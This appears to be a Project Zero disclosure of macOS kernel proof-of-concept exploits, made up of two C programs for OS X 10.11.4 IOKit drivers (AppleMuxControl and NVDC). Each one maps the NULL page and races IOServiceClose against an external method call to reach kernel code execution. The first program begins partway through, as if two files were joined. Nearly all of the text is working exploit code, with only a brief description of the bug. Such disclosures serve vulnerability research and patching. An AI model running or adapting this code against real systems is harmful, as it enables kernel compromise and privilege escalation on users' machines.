uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 9; // getAGCData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("AppleMuxControl", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=782

AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.

We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o graphicscontrol_race graphicscontrol_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in AppleGraphicsDeviceControl

AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.

We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;   /// anything :)
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("NVDC", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}